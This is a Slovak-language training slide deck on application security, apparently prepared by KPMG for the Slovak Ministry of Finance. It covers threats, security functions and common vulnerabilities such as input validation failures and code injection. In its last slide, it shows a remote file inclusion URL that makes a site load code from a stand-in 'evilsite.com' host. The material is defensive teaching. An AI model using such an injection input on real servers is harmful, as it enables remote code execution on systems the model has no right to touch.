Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

Aplikačná bezpečnosť

Erik Saller, Ivan Oravec

KPMG
cutting through complexity™

Osnova

- Úvod
- Základné bezpečnostné hrozby pre aplikácie
- Aplikačné bezpečnostné funkcie
- Typické zraniteľnosti aplikácií a opatrenia proti nim
- Používanie otvorených štandardov
- Záver

Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

ÚVOD

KPMG
cutting through complexity™

Úvod

- Aplikačná bezpečnosť
  - zahŕňa opatrenia prijaté počas celého životného cyklu aplikácie, aby sa zabránilo výnimkám v bezpečnostnej politike aplikácie alebo systému (zraniteľnosti) na ktorom aplikácia beží, spôsobeným **chybami v návrhu, vývoji, nasadení, aktualizácii, alebo údržbe aplikácie**.
- Primárnym cieľom aplikačnej bezpečnosti:
  - je tvorba aplikácií, ktoré **neobsahujú** rôzne bezpečnostné nedostatky, ktoré môžu byť zneužité útočníkom na kompromitáciu údajov spracovávaných aplikáciou, kompromitáciu samotnej aplikácie alebo infraštruktúry na ktorej je aplikácia prevádzkovaná.

Úvod (pokr.)

- Kompromitácia informačných aktív je porušenie integrity, dôvernosti alebo dostupnosti informačných aktív.
- Aplikačná bezpečnosť má rôzne aspekty, ktorými je potrebné sa zaoberať ak chceme pochopiť:
  - aké riziká hrozia pri používaní zraniteľných aplikácií
  - ktoré sú typické zraniteľnosti aplikácií
  - ako vznikajú a ako sa im úspešne vyhýbať.

Úvod (pokr.)

- Aplikácia má vykonávať to, na čo bola navrhnutá ....

Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

Úvod (pokr.)

- .... ale iba to

KPMG
cutting through complexity™

Úvod (pokr.)

- Dôležité aspekty aplikačnej bezpečnosti zahŕňajú:
  - Riziká predstavované prevádzkovaním zraniteľných aplikácií
  - Typické hrozby pre bezpečnosť aplikácií
  - Typické zraniteľnosti aplikácií
  - Návrh a vývoj bezpečného softvéru

Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

Riziká prevádzkovania zraniteľných aplikácií

- Únik údajov
- Manipulácia údajov
- Znefunkčnenie aplikácie (DoS)
- Manipulácia logiky aplikácie a s ňou spojených procesov (business logic)
- Rozšírenie útoku na ďalšie IKT
- Prechod útočníka cez sieťový perimeter

KPMG
cutting through complexity™

Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

ZÁKLADNÉ BEZPEČNOSTNÉ HROZBY PRE APLIKÁCIE

KPMG
cutting through complexity™

Základné bezpečnostné hrozby pre aplikácie

- Aplikácia a údaje, ktoré spracúva, môžu byť kompromitované množstvom rôznych metód a zneužitím rozmanitých bezpečnostných slabín.
- Ak dôjde k úspešnému útoku na aplikáciu, väčšinou je to spôsobené bezpečnostnou zraniteľnosťou v samotnom softvéri aplikácie. Nie je to však vždy tak.

Základné bezpečnostné hrozby pre aplikácie (pokr.)

- Zraniteľnosť ohrozujúca aplikáciu sa môže vyskytnúť na rôznych úrovniach, keďže chybu môžu spraviť nielen vývojári ale aj administrátori, operátori alebo iní zamestnanci prevádzky.

Základné bezpečnostné hrozby pre aplikácie (pokr.)

- Ide o nasledovné úrovne:
  - Bezpečnostné chyby v softvéri
  - Konfiguračné chyby
  - Nedostatky v bezpečnosti prevádzky

Bezpečnostné chyby v softvéri

- Najčastejšie ohrozujú aplikácie bezpečnostné zraniteľnosti v kóde aplikácie.
- Výskyt bezpečnostných chýb v kóde môže byť spôsobený rôznymi faktormi ako:
  - nedostatočné vzdelávanie programátorov zo zásad bezpečného programovania,
  - chýbajúce štandardy pre bezpečný vývoj v konkrétnych technológiách,
  - nedostatok času,
  - zlý návrh,
  - chýbajúca analýza rizík a súvisiacich hrozieb
  - nedostatočná testovacie metodológia.

Bezpečnostné chyby v softvéri (pokr.)

- Toto sú však väčšinou už len konkrétne prejavy nedostatočného dôrazu na bezpečnosť vo vývoji softvérového produktu a s tým súvisiacej absencie iniciatívy aplikačnej bezpečnosti riadenej alebo aspoň spravovanej (Governance) z najvyšších pozícií organizácie.
- Softvérové zraniteľnosti majúce bezpečnostný dopad môžu mať rôzny typ a formu,
  - môžu sa vyskytnúť na rôznych úrovniach technologických celkov.
  - Niektoré typy zraniteľností sú aktuálne pre všetky alebo aspoň pomerne veľa platforiem,
  - niektoré sú veľmi špecifické a platné len pre jednu špecifickú technológiu.

Bezpečnostné chyby v softvéri (pokr.)

- Medzi časté zraniteľnosti aplikácií patria:
  - Nedostatočná validácia vstupov
  - Možnosť vkladania kódu (Code Injection, injekcia kódu)
  - Možnosť vkladania neoprávnených SQL dotazov (SQL Injection)
  - Cross-site Scripting (XSS)
  - Pretečenie zásobníka
  - Race conditions
  - Nedostatky v nastavení prístupových práv

Konfiguračné chyby

- Ďalšou úrovňou kde sa zvyknú vyskytovať zraniteľnosti ohrozujúce aplikácie sú konfiguračné nastavenia.
- Konfiguračné nastavenia, či už v samotnej aplikácii, systéme na ktorom je prevádzkovaná, databáze ktorú aplikácia využíva alebo v inej súvisiacej komponente, môže bezpečnosť aplikácie vážne narušiť aj bez toho aby bol priamo v kóde aplikácie akýkoľvek bezpečnostný nedostatok.

Konfiguračné chyby (pokr.)

- Príkladom konfiguračnej chyby s ktorou sme sa v praxi veľakrát stretli, môže byť zdieľaný adresár obsahujúci stromovú štruktúru súborového systému aplikácie.
- Ak sú zdieľaný adresár, resp. súbory a adresáre v ňom, zapisovateľné útočníkom, bezpečnostné funkcie aplikácie neochránia aplikáciu pred kompromitáciou.

Nedostatky v bezpečnosti prevádzky

- Nedostatočné bezpečnostné praktiky pri prevádzke aplikácií sú ďalšou kategóriou chýb ktoré môžu aplikáciu ohroziť.
- Kód aplikácie, aj jej konfigurácia môže byť sto percentne bezpečná (v praxi nedosiahnuteľná méta), ale ak nie je prevádzkovaná bezpečným spôsobom, potenciálny útočník môže aplikáciu a jej údaje kompromitovať zneužitím bezpečnostných nedostatkov v prevádzke.
- Napríklad uhádnuteľné heslá, administrácia aplikácie z nezabezpečeného systému alebo nedostatočne chránené súbory aplikácie príp. zálohy, dokážu ohroziť aplikáciu často oveľa vážnejšie než zraniteľnosť v softvéri.

Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

APLIKAČNÉ BEZPEČNOSTNÉ FUNKCIE

KPMG
cutting through complexity™

Používateľská prístupnosť aplikácie

- V princípe je možné ľubovoľnú aplikáciu (a vo všeobecnosti systém alebo IKT) extrémne zabezpečiť až natoľko, že pravdepodobnosť jej kompromitácie bude blízka nule.
- Následkom by okrem iného bolo:
  - Na zabezpečenie aplikácie by boli vynaložené neadekvátne vysoké prostriedky, ktorých hodnota by nebola v rozumnom pomere s hodnotou chránených aktív.
  - Aplikácia by bola v praxi nepoužiteľná, pretože implementované bezpečnostné opatrenia by enormne sťažili, prípadne úplne znemožnili jej používanie

Používateľská prístupnosť aplikácie (pokr.)

- Niektoré bezpečnostné funkcie (vrátane ich parametrov) sú pre používateľov transparentné, takže si ich prítomnosť nemusia ani uvedomovať. Iné bezpečnostné funkcie sú zase pre používateľov veľmi citeľné už zo svojej podstaty ako napríklad zopakovanie autentifikácie pri vypršaní relácie, kratšia životnosť relácie alebo re-autentifikácia pri volaní citlivej operácie.
- Používateľská prístupnosť aplikácie je dôležitým aspektom ktorý treba brať do úvahy už pri návrhu aplikácie, ale taktiež neskôr pri riešení implementačných detailov.

Vhodnosť bezpečnostnej funkcie

- Jednu a tú istú bezpečnostnú požiadavku vieme väčšinou na technickej úrovni implementovať rôznymi bezpečnostnými funkciami.
- Treba zvážiť plánovanú architektúru, platformy, prostredie, ...
- Jedným z dôležitých kritérií pri výbere bezpečnostných opatrení musí byť ich dopad na používateľskú prístupnosť aby bezpečnostné opatrenia neinterferovali s vykonávanými biznis aktivitami do tej miery, že sa stráca ich zmysel.

Náročnosť správy aplikácie

- Podobné úvahy o bezpečnostných opatreniach ako v prípade používateľskej prístupnosti, platia aj pre náročnosť správy aplikácie.
- Ak budú napr. bezpečnostná architektúra, implementované opatrenia, modularizácia, prístupový a dátový model aplikácie natoľko komplikované alebo neprehľadné, že celková administrácia a bezpečné prevádzkovanie aplikácie bude komplikované a časovo náročné, bude mať veľký počet a rozmanitosť opatrení na bezpečnosť aplikácie skôr opačný účinok než bolo pôvodne zamýšľané.

Prostredie aplikácie

- Rôzne bezpečnostné funkcie aplikácie a aj jej celková architektúra, sa už vo fáze návrhu opiera o množstvo predpokladov o prostredí v ktorom bude aplikácia nasadená.
- Neskoršou postupnou zmenou prostredia, v ktorom aplikácia beží alebo jej migráciou do nového prostredia môžu prestať platiť pôvodné bezpečnostné predpoklady o prostredí čo môže ohroziť efektívnosť existujúcich opatrení.

Aplikačné bezpečnostné funkcie

- Aplikácie pre svoje zabezpečenie používajú celý rad bezpečnostných funkcií, ktoré majú na starosti rôzne aspekty jej bezpečnosti.
- Existujú hotové riešenia, ktoré treba uprednostniť pre vyvíjaním vlastného kódu pre tento účel.
- Niektoré bezpečnostné funkcie je veľmi ťažké správne (bezpečne) navrhnúť a následne implementovať

Aplikačné bezpečnostné funkcie (pokr.)

- Preto ak skutočne nejde o funkčnosť, ktorá musí byť z nejakého dôvodu šitá na mieru vyvíjanej aplikácii, treba uprednostniť využívanie bezpečnostných funkcií a mechanizmov poskytovaných platformou, operačným systémom prípadne databázou aplikácie.

Aplikačné bezpečnostné funkcie

- V nasledujúcich podkapitolách sa pozrieme na nasledovné najčastejšie typy bezpečnostných funkcí:
  - Autentifikácia
  - Autorizácia
  - Správa relácie
  - Validácia vstupov
  - Spracovanie chýb
  - Vytváranie auditných záznamov
  - Kryptografia

Autentifikácia

- Autentifikačné bezpečnostné funkcie spájajú identitu reálneho používateľa s jeho systémovou identitou (účtom) pomocou overenia prihlasovacích údajov. Autentifikačné mechanizmy musia byť adekvátne rizikovosti aplikácie a aby dokázala odolávať útočníkom využívajúcim pri svojich útokoch rôzne metódy.
- Podrobné informácie o autentifikácii a spôsobom, ako používať autentifikačné mechanizmy v bežných aplikáciách sú poskytnuté vo štvrtej kapitole.

Autorizácia

- Autorizačné funkcie musia zaistiť, že legitímni používatelia systému smú vykonať len tie operácie a pristupovať k tým údajom pre ktoré sú autorizovaní, t.j. ktoré zodpovedajú ich oprávneniam. Riadia prístup ku chráneným zdrojom povolením alebo zamietaním prístupu na základe rolí alebo úrovne oprávnení.
- Podrobné informácie o autorizácii v bežných aplikáciách sú poskytnuté vo štvrtej kapitole.

Správa relácie

- V počítačových vedách a špeciálne v počítačových sieťach sa pod pojmom relácia (session) rozumie semi-permanentná interaktívna výmena informácií, tiež známa ako dialóg, konverzácia alebo stretnutie, medzi dvoma alebo viacerými komunikujúcimi zariadeniami, alebo medzi systémom a používateľom.
- Po prihlásení používateľa do aplikácie je používateľovi pridelený tzv. identifikátor relácie (session ID), ktorý slúži na identifikáciu používateľa pri jeho ďalšej interakcii s aplikáciou, až do jeho odhlásenia alebo vypršania životnosti relácie. Na strane aplikácie je s identifikátorom relácie spojená identita používateľa a stav jeho relácie.

Správa relácie (pokr.)

- Pre úspešný prienik na účet útočníkovi postačuje získanie, alebo uhádnutie identifikátora jeho relácie.
- Aby sa hodnoty platných identifikátorov relácie nedali uhádnuť, musia byť generované kryptograficky bezpečnými algoritmami.

Správa relácie (pokr.)

- Uprednostniť hotové riešenia (väčšinou poskytované použitou vývojárskou platformou) pred návrhom vlastných algoritmov.
- Bezpečnostné funkcie pre správu relácie majú za úlohu zabezpečiť to, aby boli autentifikovaní používatelia aplikácie robustne a kryptograficky bezpečne asociovaní so svojou reláciou.

Validácia vstupov

- Bezpečnostné funkcie pre validáciu vstupov majú zabezpečiť, že aplikácia je dostatočne odolná voči všetkým hodnotám vstupných údajov, či už tieto údaje pochádzajú od používateľa, infraštruktúry, externých entít alebo databázových systémov.
- Na nedostatkoch vo validácii vstupov je založené množstvo iných zraniteľností ako napríklad možnosť vkladania kódu, možnosť vkladania SQL príkazov, Cross-site scripting zraniteľnosti, pretečenie zásobníka, atď.

Spracovanie chýb

- Každá aplikácia by mala mať ošetrené všetky známe možné chybové stavy
- Identifikácia miest v kóde, kde môže nastať chybový stav
- Implementácia relevantných bezpečnostných funkcií, ktoré daný chybový stav vhodným a bezpečným spôsobom ošetria

Vytváranie auditných záznamov

- Ide o bezpečnostné funkcie, ktoré majú za úlohu vytváranie auditných záznamov, ktoré zachytávajú rôzne dôležité udalosti v aplikácii ako napr. prihlásenie a odhlásenie používateľa, zamietnutie prístupu k určitému zdroju a chybové stavy v aplikácii. Aplikácia by však mala poskytovať možnosť konfigurácie ako typov udalostí, ktoré sa budú zaznamenávať tak aj úrovne detailnosti informácie, ktorá sa bude ku každej udalosti zaznamenávať.
- Pokiaľ auditné záznamy nemajú formu jednoduchých textových súborov, ale majú napr. binárny formát - aplikácia by mala tiež poskytovať nástroj na prezeranie a prácu s jej auditnými súbormi.

Kryptografia

- Kryptografické bezpečnostné funkcie slúžia primárne na ochranu integrity a dôvernosti citlivých údajov (či už počas ich prenosu alebo pri uskladnení) sú však aj súčasťou rôznych bezpečnostných protokolov (napr. pri autentifikácii).

Kryptografia (pokr.)

- Medzi typické kryptografické nástroje a ich použitie v aplikáciách patria:
  - Generátory pseudo-náhodných čísel
    - *Generovanie dostatočne náhodných číselných hodnôt pre rôzne účely, kedy je vyžadované aby tieto čísla neboli útočníkom uhádnuteľné*
  - Hašovacie funkcie
    - *Kontrola integrity údajov*
    - *Utajenie prístupových hesiel pri zachovaní možnosti ich neskoršieho overenia oproti zadanému heslu*
  - Autentifikačné protokoly
    - *Overenie identity používateľa*
  - Šifrovacie algoritmy
    - *Ochrana dôvernosti a integrity uskladnených údajov*
    - *Ochrana dôvernosti a integrity prenášaných údajov*
  - Algoritmy pre elektronický podpis
    - *Overenie identity odosielateľa údajov*

Kryptografia (pokr.)

- Návrh dostatočne silných kryptografických algoritmov, protokolov a iných kryptografických nástrojov vyžaduje pomerné široké a hlboké matematické znalosti a tiež dlhšiu prax v danej oblasti.
- Ešte aj v takomto prípade je na potvrdenie ich bezpečnosti potrebná analýza odbornou verejnosťou.

Kryptografia (pokr.)

- Preto sa vo všeobecnosti neodporúča vývoj vlastných elementárnych kryptografických nástrojov ale použitie známych softvérových knižníc, ktoré implementujú bezpečné kryptografické mechanizmy.

Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

TYPICKÉ ZRANITEĽNOSTI APLIKÁCIÍ A OPATRENIA PROTI NIM

KPMG
cutting through complexity™

Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

Typické zraniteľnosti aplikácií a opatrenia proti nim

Nedostatočná validácia vstupov:

- Najčastejšou bezpečnostnou slabinou aplikácií je neschopnosť správne overiť vstup od klienta alebo od prostredia.
- Špeciálne znaky
- Cieľom validácie vstupov je zabezpečenie toho, aby aplikácia bola schopná prijímať validné vstupné údaje a aby bola zároveň dostatočne odolná voči všetkým hodnotám vstupných dát, či už získaných od používateľa, infraštruktúry, externých subjektov alebo databázových systémov.

KPMG
cutting through complexity™

Ministerstvo financií
Slovenskej republiky

EFQM
Recognised for excellence
5 star - 2012

Typické zraniteľnosti aplikácií a opatrenia proti nim

Nedostatočná validácia vstupov (pokr.):

- Pod validáciou vstupov rozumieme takú kontrolu vstupných údajov, ktorá zabezpečí, že prijatím a následným spracovaním týchto údajov nedôjde k narušeniu bezpečnosti aplikácie alebo iných komponentov IKT.
- Validácii musia podliehať všetky vstupy do aplikácie bez ohľadu na zdroj.
- Blacklist vs Whitelist

KPMG
cutting through complexity™

Nedostatočná validácia vstupov (pokr.)

- Tento nedostatok vedie k mnohým podstatným zraniteľnostiam v aplikáciách, ako napr.:
  - Možnosť vkladanie (injekcia) kódu,
  - Cross-site scripting (XSS) zraniteľnosti,
  - Možnosť vystúpenia z adresára aplikácie,
  - Pretečenie vyrovnávacej pamäte (zásobníka).
- Údaje od klienta by nikdy nemali byť považované za dôveryhodné keďže klient má vo všeobecnosti neobmedzenú možnosť manipulovať s dátami odosielanými jeho prehliadačom alebo iným klientským programom na vstup aplikácie.

Nedostatočná validácia vstupov (pokr.)

- V mnohých prípadoch má kódovanie špeciálnych znakov potenciál zmierniť útoky, ktoré sa spoliehajú na nedostatky v overovaní vstupov.
- Napríklad, ak bude aplikované HTML kódovanie HTML entít na vstupy používateľa pred odoslaním do prehliadača, môže to zabrániť väčšine Cross-site scripting útokov.

Nedostatočná validácia vstupov (pokr.)

- Avšak ochrana pred takýmito útokmi, ktorá spočíva iba vo validácii vstupov nestačí – je dôležité aby sme takéto pokusy v našich aplikáciách aj zaregistrovali, napr. určitou formou systému pre detekciu prienikov (IDS - Intrusion Detection System).
- Inak umožňujeme útočníkom opakovane útočiť na naše aplikácie, kým nenájdu chybu, ktorá z aplikácie nebola odstránená.
- Odhaľovanie pokusov útočníka o nájdenie týchto chýb je dôležitým ochranným mechanizmom.

Účelové vkladanie kódu (Code Injection, Injekcia kódu)

- Injekcia kódu je súborným názvom pre mnoho druhov útokov, ktoré sú založené na vkladaní kódu (do aplikácie), ktorý je spracovaný aplikáciou.
- Takýto útok môže byť vykonaný pridaním reťazca znakov do súboru cookie alebo do hodnôt argumentov v linke URL.

Účelové vkladanie kódu (Code Injection, Injekcia kódu) – pokr.

- Tento typ útoku zneužíva nedostatočnú validáciu vstupno/výstupných dát, napríklad:
  - triedu dovolených znakov (štandardné triedy regulárnych výrazov, alebo vlastné),
  - dátový formát,
  - množstvo očakávaných dát,
  - pre číselný vstup, povolené hodnoty vstupu.

Účelové vkladanie kódu (Code Injection, Injekcia kódu) - pokr.

- Injekcia kódu a injekcia príkazov sú útoky, ktoré dosahujú rovnaké ciele.
- **Injekcia kódu** - je vkladanie škodlivého kódu do aplikácie. Tento škodlivý kód je neskôr spustený v rámci aplikácie. Pridaný kód je súčasťou samotnej aplikácie.
- **Injekcia príkazov** – je spustenie externého škodlivého kódu v aplikácii, pričom spúšťaný kód nie je vnútornou súčasťou aplikácie.

Príklad č. 1

- Ak stránka používa funkciu include(), ktorá operuje na premenných odoslaných metódou GET a nevykonáva sa ich validácia, útočník sa môže pokúsiť spustiť vlastný kód, iný ako ten, ktorý zamýšľal spustiť autor pôvodného kódu.
- Linka nižšie zobrazuje informáciu, ako kontaktovať spoločnosť „Testsite“.
- http://testsite.com/index.php?page=contact.php
- Nižšie je uvedený modifikovaný kód z http://evilsite.com/evilcode.php
- Skript "evilcode.php" môže obsahovať, napríklad, funkciu phpinfo(), ktorá je užitočná pre získanie informácií o konfigurácii prostredia v ktorom webová služba beží.
- http://testsite.com/?page=http://evilsite.com/evilcode.php
- Pre úspech tohto snaženia musí byť splnená jediná podmienka: konfigurácia servera musí umožňovať vkladanie mena súborov do notácie typu „http://“.